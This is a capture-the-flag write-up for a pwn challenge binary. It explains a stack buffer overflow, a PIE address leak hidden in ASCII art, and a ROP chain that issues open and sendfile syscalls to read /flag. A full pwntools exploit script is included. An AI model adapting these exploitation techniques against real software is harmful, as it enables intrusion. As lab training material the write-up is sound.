Oh no! Something awfull happened and we let too many cooks cook up this challenge. I hope you can still get something edible out of it…

Category: pwn

Solver: computerdores, hack_the_kitty

Flag: GPNCTF{4aahhh_th3_l33k_t4st3_0f_v1ct0ry!}

Writeup

The challenge binary presents you with a menu to select from. One can select a main dish and a desert.

Welcome to our dining hall! Please select a dish:
-[pizza] A nice and fresh pizza
-[gulasch] It's GPN, it's night and I'm programming. The only thing missing is a hot plate of gulasch!
-[burger] Borgir!
-[leek_soup] A deliciously hearty leek soup. Yum!
-[desert] Give me my dessert! \o/

Selecting pizza, for example, you’ll be greeted by a nice ASCII art pizza:

                   Here's your Pizza:

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⢠⡠⣄⢠⡂⠺⠁⠫⠭⠂⠉⠉⠧⠰⢀⠤⡤⣀⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠁⡐⠈⠚⠑⠃⠀⠀⢠⣴⣆⠀⠄⣠⢶⠐⣑⠤⠨⡐⠀⣉⠟⢓⠢⢤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡄⠴⠾⡿⠁⠀⠀⠑⢰⣶⢾⡽⣛⡯⠟⢢⠛⡐⣈⠌⠃⠍⢁⢈⠜⣀⠥⠅⡝⠔⠁⠘⡩⡀⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⠈⢑⢀⠔⠑⢘⠃⡞⠥⢢⣾⣿⣾⣿⢿⣭⡙⠞⠓⡐⠊⠌⣥⣾⣾⣷⣷⣿⡖⢸⠘⠰⡄⣀⠓⠤⡙⠱⠤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⡀⢊⠔⠂⠠⢂⣠⡾⡀⠋⠾⡭⢷⣿⣿⣿⣿⣿⣿⢿⡄⡄⡱⠠⣵⣿⣿⣿⣿⣟⣿⣷⡀⢀⡀⣸⢀⢄⠀⡁⣡⡄⡉⠅⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⠊⢀⠠⣄⠤⣹⡿⢟⣾⣯⣄⣨⠂⠸⣿⣿⣿⢿⢿⣻⣿⠟⠠⠁⠀⣿⣿⣿⣟⣿⡽⣟⣿⢠⢀⠅⢀⠔⠋⢰⢸⡵⠴⣉⡄⠋⢆⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢠⡆⢀⡎⠺⡨⣓⢋⣾⣿⣿⣿⣿⣿⣯⠀⡙⠛⢿⣿⣾⠾⠋⠂⢓⠤⡀⠀⠻⢿⡿⣿⠿⠯⠋⠂⠌⣴⣾⣿⣿⣷⣾⡈⠐⠺⢿⡀⡀⠁⠀⠀⠀⠀⠀
⠀⠀⠀⡒⢐⠄⠂⢋⢑⡀⢿⣿⣿⣿⣽⣾⣻⣿⡂⠎⠂⣀⠂⠄⢂⠤⣴⣶⣶⣶⣤⡀⢄⠀⠄⠢⢠⠀⠀⢯⣿⣿⣿⣟⡿⣿⣿⣜⣮⠈⣿⢞⠐⣱⡀⠀⠀⠀
⠀⠀⠋⢂⠊⣠⡔⢜⠐⢠⠊⢿⣿⣿⣿⣿⣿⠟⠁⠀⠡⠰⢅⢎⠒⣾⣿⣿⢿⢿⣿⣷⣾⠠⢊⢕⡙⠀⢈⠼⣿⣿⣿⣿⢿⣿⣿⡟⠷⠭⠁⣿⣤⠀⣷⠀⠀⠀
⠀⣾⡘⢣⡤⡝⠉⢀⢀⡌⡑⡈⠙⠓⠻⠋⠁⣀⣴⣶⣤⣄⢀⠠⠃⣿⣿⣟⣿⣯⣿⣯⡇⠀⠀⠈⢰⡡⠊⠇⠘⠿⣽⣯⠟⠟⡁⣂⠱⢸⠂⠈⠉⢱⢎⠡⠀⠀
⠀⡏⠀⠐⣾⢰⣳⢿⣿⣿⣿⣧⣔⠢⣠⠚⣸⣿⣯⣿⣿⣿⣧⡁⡈⠈⠻⣿⣾⣯⡟⠋⠀⡄⣠⣾⣿⣿⣿⣷⣆⠀⡑⠁⡡⡄⠉⠠⡐⡈⣦⣀⠀⣯⡇⢎⡄⠀
⣸⢃⠊⢼⡗⣸⣷⣿⣿⣿⣿⣿⣧⢚⠐⠀⢻⣿⣿⣻⣽⣿⣻⠀⠀⡀⠔⢂⠡⠃⠀⠀⣤⠑⣾⣟⣷⣿⣻⣿⣿⡇⠀⠈⡗⣰⣐⣀⣤⡉⣼⡋⢅⣛⣂⠠⢳⠀
⡟⡄⠀⢻⠦⠙⣿⣿⣿⣞⣿⣿⡟⠀⠅⢄⠄⠋⠽⠽⠿⠋⠁⡀⢨⣾⣶⣶⣶⣷⣄⠄⢈⠈⢿⣯⣿⣏⣿⣿⣿⢆⢀⣣⣿⣿⣿⣿⣿⣿⣦⠨⡀⢈⡉⠇⢻⡀
⡏⠄⣴⡻⢙⢤⣛⠿⠿⠿⠻⡉⡐⡲⠸⢀⣴⣷⣶⣄⠄⠀⠈⢲⣿⣿⣿⣿⣿⣾⣿⡆⠀⢐⡕⠃⢻⠿⠿⠛⡁⠀⠀⢻⣿⣿⣿⣿⣿⣻⣿⡄⠁⣴⡟⡵⢠⠀
⡗⠂⡹⡷⡌⠨⠽⣠⣐⡀⠐⠅⠑⠑⣴⣾⣿⣿⢿⣿⣦⡀⠀⠘⣿⣿⣿⣿⣿⣿⡿⢇⣀⢨⠑⠠⡪⠄⣦⣴⣥⣴⡀⠚⣿⣿⣽⣯⣿⣿⡟⢁⣀⠙⠁⡁⠮⠀
⣷⠄⢘⡷⣰⣾⣿⣿⣿⣿⣿⣆⣀⠴⣿⣿⣿⡿⣿⣿⣿⣷⠂⡀⠹⢿⣿⡾⣿⡷⠟⠀⠂⡁⣤⡆⠇⣾⣿⡿⣿⣿⣿⣆⠉⠛⠻⢯⠟⠉⠀⠅⢊⡀⣖⢹⣼⠆
⢿⠣⡀⣽⡷⣿⣿⣿⣿⣿⠿⣿⣇⢂⡻⣿⣿⣟⣿⣿⡿⠋⠀⠁⠀⡀⢈⠝⣋⣤⣶⣶⣶⣬⡻⢇⠀⣿⣟⣿⢿⣾⣿⡏⠀⠎⡓⠅⢣⡪⠀⣠⡛⣽⡟⡆⢸⠀
⠘⡧⢠⣗⣽⢿⣿⣿⣿⣿⣿⣿⠇⠈⠁⡌⠻⡛⠛⠩⢆⣡⣄⢤⢀⠢⠂⢠⣿⣿⡿⣿⣿⣻⣷⣦⠂⡈⠻⢿⠿⠿⢪⣡⣶⣾⣥⣆⠀⠀⠮⠼⣿⣿⢿⡩⠓⠀
⠀⠹⡀⢻⣿⣆⠟⠻⠿⠿⢛⡁⣠⣫⣀⣔⣌⠲⠀⢠⣾⣿⢻⣿⢿⣷⡜⢸⣿⣿⣿⣾⣿⣿⣿⢃⠌⠠⠋⠥⠓⢠⣾⢿⣹⣿⣿⣿⣷⡀⠰⢾⡤⣝⠂⣠⠁⠀
⠀⠀⢓⠇⡻⢿⡼⢀⠨⣀⡔⣡⣿⣻⣿⣿⣿⣄⡋⢹⣿⣿⣿⣿⢾⣿⡂⠌⠛⣿⣿⣿⣳⠗⡩⢆⠟⠘⠔⠠⣈⢸⣿⣿⣿⣿⣿⣿⣿⣙⣫⣿⣏⠁⠀⠇⠀⠀
⠀⠀⠀⢧⠌⢐⡙⢆⣊⣏⢈⣿⣿⣿⡿⣽⣝⣿⠅⡨⠻⢿⣿⡾⠿⠋⢀⡀⡽⣭⢱⠹⣊⢞⣄⣴⣶⣶⣶⣥⡈⠈⠻⣿⣿⣿⣿⣿⢋⣾⠶⡃⢛⢉⡐⠀⠀⠀
⠀⠀⠀⠈⢻⣄⠒⡼⣣⡶⣦⢿⣿⣿⣿⣿⣿⡟⠙⣡⡢⡀⢀⢤⣴⣾⣿⣿⣿⣾⣥⡔⠤⢫⣿⣿⣿⣿⣿⣿⣷⣀⠑⡀⣍⠿⣻⠶⠟⠁⠀⣀⢊⠈⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠙⢿⣌⢣⠄⠀⠙⢿⣛⢙⠛⠡⠀⠚⡂⢷⣶⠞⢹⣿⣿⣿⣻⣿⢟⣿⢤⠐⠸⣿⣿⣾⣻⣿⣽⣿⣃⣵⠚⠈⡌⠀⠀⠴⠀⠞⡀⠊⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠙⢷⣌⢢⡈⠹⠇⢔⡼⣇⡄⠄⠊⠁⣂⡂⢸⣿⣿⣻⣿⣽⣿⣿⣣⠠⠀⠙⢷⣿⡿⣿⡿⣟⣿⣅⠂⠈⢠⣶⣠⡄⢰⠋⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠷⣦⣴⢀⢨⠹⡛⢮⠽⢶⡌⢀⢀⠒⠈⢛⠻⡿⠿⢏⣙⠻⣾⠀⣤⣆⡆⣤⣄⠺⢝⡛⢊⠀⠀⠀⠋⡱⠈⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠛⢷⣗⡂⠉⠾⢇⣧⡽⣧⢍⣨⠔⢩⢽⡖⢫⣝⡌⣦⠈⡽⡛⠻⠻⢙⡙⠉⢀⣄⠡⠔⡡⠄⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠣⢦⣪⡉⠪⠯⠜⠻⢖⣿⣿⠆⠈⠓⠀⠀⠛⢌⠁⢀⣀⢀⠔⣠⡿⠌⠃⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠙⠛⠻⠴⠶⠤⠦⠤⠔⠀⢤⡴⡄⠤⠆⠑⠊⠃⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀

Sadly, this doesn’t directly gave us an idea how the binary could be exploitable. A buffer overflow, however, seemed likely as a starting point.

Analyzing the Binary In Ghidra

The binary didn’t have its symbols stripped, so we can see methods like dinner, desert and so on.
dinner here definitely is an interesting function, as it provides input for the user!

Having a look at how the functions takes the user’s input, we see a fgets call with a length parameter of 4096 bytes from stdin. The buffer that take the input, however, is only 16 bytes long. Hah! Classic Buffer overflow.

The fgets call.

And more interestingly, the dinner function comes without stack canary check – as compared to the main function, for example… This means that we’re free to override the return address on the stack. The <code>dinner</code> function does not have a stack canary check

The stack is not executable, though. We need to find something like ROP gadgets. Still, we now know an attack vector but still do not really know how to exploit the overflow to get the flag that is placed in the file system at /flag.

The Weird serve Function

Amongst the normal functions for serving the dinner like serve_pizza, there is also a generic serve function that doesn’t seem to be called from anywhere.

Pseudo decompiled code of <code>serve</code>.

Having a look at what this function does, we find that it:

  1. allocates 3 bytes of anonymous memory with mmap, those bytes are marked as writable
  2. checks whether a dish_index is selected (we do not know, what this is, yet!)
  3. accesses two bytes from the kitchen array and writes those to the allocated memory (the array is 48 bytes in length)
  4. copies the 0xc3 byte to the third of the allocated bytes
    • Note that 0xc3 is the opcode for ret in x86!
  5. marks the allocated memory as executable by changing the protection bits of the allocated memory with mprotect
  6. calls this allocated memory as a function
    • before doing so, it moves the first 64-bit value in the kitchen array into rax
    • furthermore it passes the next three 64-bit integers from the kitchen array as arguments (in the rdi, rsi and rdx registers)
  7. unmaps the allocated memory.

Basically, it allows for executing two bytes. What a coincident! ;) The opcode for syscall in x86-64 is 0f 05 so… two bytes!

If we could only control the two executed bytes, as well as the arguments in rax, rdi, rsi and rdx, we could successfully execute any syscall with 3 or less arguments that we want! As we know where the flag is in the file system (/flag as always), we could execute an open syscall and print the data in the opened file descriptor to stdout (which is unbuffered by the main function) with the sendfile syscall.

Finding Gadgets

The binary contains more functions that do not seem to be called anywhere. Amongst them, there are cool and heat as well as salt and pepper. The later ones modify the dish_index: salt increases the dish_index by one, pepper decreases it. Both function apply a modulo 48 operation. heat and cool on the other hand respectively increase or decrease the values in the kitchen array based on the dish_index, where dish_index is the byte index into the kitchen array.

Those functions would allow us to modify the two bytes being used in the serve function as well as the parameters passed to the function. With the buffer overflow described above, we can create a ROP-chain with those gadgets so that we control the fields just as we want.

One last hurdle is that PIE is enabled on the binary, so we cannot statically pass the addresses of the function to the overflow because of ASLR - we just do not know them. We would need some kind of address leak.

The Lee(a)k Soup

All the serve functions print some kind of ASCII art. One function has a hint in its name: serve_leek. With a little bit of randomness, it tells us its own address within the ASCII art. Yeah… this wasn’t really fun parsing with pwntools… :|

The function’s address is leaked.

The Finished Exploit

So the plan is with those functions is to:

  1. Prepare an open syscall
    1. place the syscall number 2 into the first 64-bit value of kitchen
    2. place the "/flag" file path in the 5th value of kitchen, as the first argument to open must be a string pointer. Note that we do not know how to get a valid pointer to that string, though!
    3. place the yet-to-find pointer to the string into the second 64-bit value of kitchen
    4. place the “readonly” flag in the third 64-bit value of kitchen
    5. call the serve function
  2. Prepare the sendfile syscall
    1. again, place the syscall number 40 for sendfile into the first 64-bit value of kitchen
    2. place the stdout file descriptor number 1 into the second value
    3. place the newly opened file descriptor’s number into the third value. As the file doesn’t open other files, this number is very likely to be 3 (stdin = 0, stdout = 1, stderr = 2, our’s is 3)
    4. place NULL in the third argument
    5. Note that we would need to provide a length as a fourth argument to sendfile. According to the assembly the value in rcx at the time of the call is some pointer. The address pointed to by the pointer is likely to be large enough to print the flag.
    6. again, call the serve function

And indeed, we are greeted with the flag: GPNCTF{4aahhh_th3_l33k_t4st3_0f_v1ct0ry!}. 🥳🍕

The complex interaction of the gadget functions and the parsing of the leak can be seen down below.

#!/usr/bin/env python3

from pwn import *
from pwnlib.elf import elf
from pwnlib.util.packing import p64
from math import ceil

ELF, LEEK, PATH = None, None, None
INC_VAL, INC_IDX, DEC_VAL, DEC_IDX = None, None, None, None
DBL_VAL, EXC_VAL = None, None

def input_sel(p, selection: bytes):
    p.recvuntil(b"for your selection: ")
    p.sendline(selection)

def select(p, selection: bytes, read = True):
    input_sel(p, selection)
    if read:
        return p.recvuntil(b"Welcome")[:-7]
    else:
        return None

def leak_via_leek(p):
    input_sel(p, b"leek_soup")
    p.recvuntil(br"  %%%          %%%%%            %%%%%")
    index = p.recv(numb=1)[0]-ord('0')
    read = []
    p.recvuntil(b"9084019048700")
    read.append(p.recv(numb=15))
    if index > 0:
        p.recvuntil(br"%%%*3010")
        read.append(p.recv(numb=15))
    if index > 1:
        p.recvuntil(br"%%4470634947682243266378903880")
        read.append(p.recv(numb=15))
    if index > 2:
        p.recvuntil(b"%#3249")
        read.append(p.recv(numb=15))
    if index > 3:
        p.recvuntil(br"%0917779825523131271683423008")
        read.append(p.recv(numb=15))
    if index > 4:
        p.recvuntil(b"%%623075963451692433760220882**378548380720*15284747658")
        read.append(p.recv(numb=15))
    if index > 5:
        p.recvuntil(b"%%*4321293")
        read.append(p.recv(numb=15))
    if index > 6:
        p.recvuntil(b"*+80624162+*")
        read.append(p.recv(numb=15))
    if index > 7:
        p.recvuntil(b"%%+19508536741856613777630410503")
        read.append(p.recv(numb=15))
    if index > 8:
        p.recvuntil(b"%%+78252141368908973292357069")
        read.append(p.recv(numb=15))
    addr = int(read[-1], 10)
    p.recvuntil(b"for your selection: ")
    p.sendline(b"main")
    return addr - LEEK

def move(to: int, curr: int):
    off = to - curr
    outp = []
    if off >= 0:
        for i in range(off):
            outp.append(INC_IDX)
    else:
        for i in range(-off):
            outp.append(DEC_IDX)
    return outp

def set_value(to: int, curr: int):
    if curr == to:
        return []
    outp = [DBL_VAL]
    # clear curr
    for i in reversed(range(8)):
        if to & (2**i):
            outp += [INC_VAL]
        outp += [DBL_VAL]
    return outp[:-1]

def init(elf_path: str):
    global ELF, LEEK, PATH

    PATH = elf_path
    ELF = elf.ELF(PATH)
    LEEK = ELF.symbols["serve_leek"]

    p = process(PATH)
    #p = remote("xxx.ctf.kitctf.de", "443", ssl=True)
    context.terminal = ['tmux', 'splitw', '-h']
    #pid = gdb.attach(p, gdbscript='b heat\nb flip\nb salt\nb cool\n b pepper\nb serve')
    global OFFSET
    OFFSET = leak_via_leek(p)

    global INC_VAL, INC_IDX, DEC_VAL, DEC_IDX, DBL_VAL, EXC_VAL
    INC_VAL = OFFSET + ELF.symbols["heat"]
    INC_IDX = OFFSET + ELF.symbols["salt"]
    DEC_VAL = OFFSET + ELF.symbols["cool"]
    DEC_IDX = OFFSET + ELF.symbols["pepper"]
    DBL_VAL = OFFSET + ELF.symbols["flip"]
    EXC_VAL = OFFSET + ELF.symbols["serve"]

    addr_of_file_path = p64(OFFSET + ELF.symbols['kitchen'] + 32)

    global EXPLOIT
    # We can issue syscalls with 3 arguments.
    # RAX (=syscall no) is the first thingy in kitchen.
    # The three arguments are the second to fourth thingy in kitchen.
    #
    # The general idea is:
    # 1. open syscall with file path '/flag'
    # 2. sendfile syscall
    #
    # To do so, we need to prepare the kitchen with the gadgets given by the binary.
    EXPLOIT = [
        *set_value(2, 0),
        *move(8, 0),
        *set_value(addr_of_file_path[0], 0),
        *move(9, 8),
        *set_value(addr_of_file_path[1], 0),
        *move(10, 9),
        *set_value(addr_of_file_path[2], 0),
        *move(11, 10),
        *set_value(addr_of_file_path[3], 0),
        *move(12, 11),
        *set_value(addr_of_file_path[4], 0),
         *move(13, 12),
        *set_value(addr_of_file_path[5], 0),
        *move(14, 13),
        *set_value(addr_of_file_path[6], 0),
        *move(15, 14),
        *set_value(addr_of_file_path[7], 0),
        # now the flag buffer.
        *move(32, 15),
        *set_value(ord('/'), 0),
        *move(33, 32),
        *set_value(ord('f'), 0),
        *move(34, 33),
        *set_value(ord('l'), 0),
        *move(35, 34),
        *set_value(ord('a'), 0),
        *move(36, 35),
        *set_value(ord('g'), 0),
        # readonly is 0x0, so now trigger open syscall
        *move(40, 36),
        *set_value(0x0f, 0),
        *move(41, 40),
        *set_value(0x05, 0),
        EXC_VAL,
        # sendfile is 40 (decimal)
        *move(48, 41),
        *set_value(40, 2),
        # to stdout
        *move(8, 0),
        *set_value(1, addr_of_file_path[0]),
        *move(9, 8),
        *set_value(0, addr_of_file_path[1]),
        *move(10, 9),
        *set_value(0, addr_of_file_path[2]),
        *move(11, 10),
        *set_value(0, addr_of_file_path[3]),
        *move(12, 11),
        *set_value(0, addr_of_file_path[4]),
         *move(13, 12),
        *set_value(0, addr_of_file_path[5]),
        *move(14, 13),
        *set_value(0, addr_of_file_path[6]),
        *move(15, 14),
        *set_value(0, addr_of_file_path[7]),
        # from opened file
        *move(16, 15),
        *set_value(3, 0),
        # the fourth argument is some pointer according to the disassembly, so we hope it is large enough to print the flag \o/
        # syscall is already there, only move index
        *move(41, 16),
        EXC_VAL,
    ]

    return p

def exploit(p):
    payload = b"aaaaaaaaaaaaaaaaaaaaaaaa"

    for gad in EXPLOIT:
        step = p64(gad)
        print(step)
        payload += step

    select(p, payload)
    select(p, b"yogurt", False)

def acc_frames(p):
    for i in range(ceil(len(EXPLOIT)/2)):
        select(p, b"")
        select(p, b"main")

if __name__ == "__main__":
    p = init("./too_many_cooks")
    acc_frames(p)
    exploit(p)
    p.interactive()